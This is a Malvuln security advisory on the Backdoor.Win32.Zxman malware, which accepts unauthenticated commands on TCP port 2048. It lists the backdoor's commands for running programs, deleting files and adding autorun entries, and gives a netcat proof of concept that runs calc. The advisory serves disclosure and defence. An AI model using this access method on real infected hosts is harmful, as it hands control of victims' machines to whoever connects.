Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/e369bbd8acbe8322834e3adbad30ff5c.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zxman Vulnerability: Unauthenticated Remote Code Execution Description: The malware by "Zx-man" listens on TCP port 2048. Third-party attackers who can reach an infected system can run commands made available by the backdoor. Commands List. * ? or HELP - View this screen * Exec FILE_NAME,COMMAND_LINE - Execute program or file * Copy FILE_NAME_1,FILE_NAME_2 - Copies FILE_NAME_1 to FILE_NAME_2 * Move FILE_NAME_1,FILE_NAME_2 - Moves FILE_NAME_1 to FILE_NAME_2 * Rename FILE_NAME_1,FILE_NAME_2 - Renames FILE_NAME_1 to FILE_NAME_2 * Del FILE_NAME - Deletes a file * View FILE_NAME - Viewes a file * Autorun FILE_NAME - Add program to the autorun list * Dir DIRECTORY - List DIRECTORY's files and subdirs * Msg MESSAGE - Show a message * Mouse [ON/OFF] - Turns mouse ON / OFF * Reboot - Reboots the computer * TurnOff [QUICK] - Turns off the computer * Exit - Exit!!! Type: PE32 MD5: e369bbd8acbe8322834e3adbad30ff5c Vuln ID: MVID-2022-0478 Disclosure: 02/01/2022 Exploit/PoC: nc64.exe x.x.x.x 2048 Welcome to REMOTE_CONTROL_SYSTEM by Zx-man (zx-man@ukr.net) -------------------------------------------------------------------------------- Type ''?'' for HELP! >exec calc exec calc Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).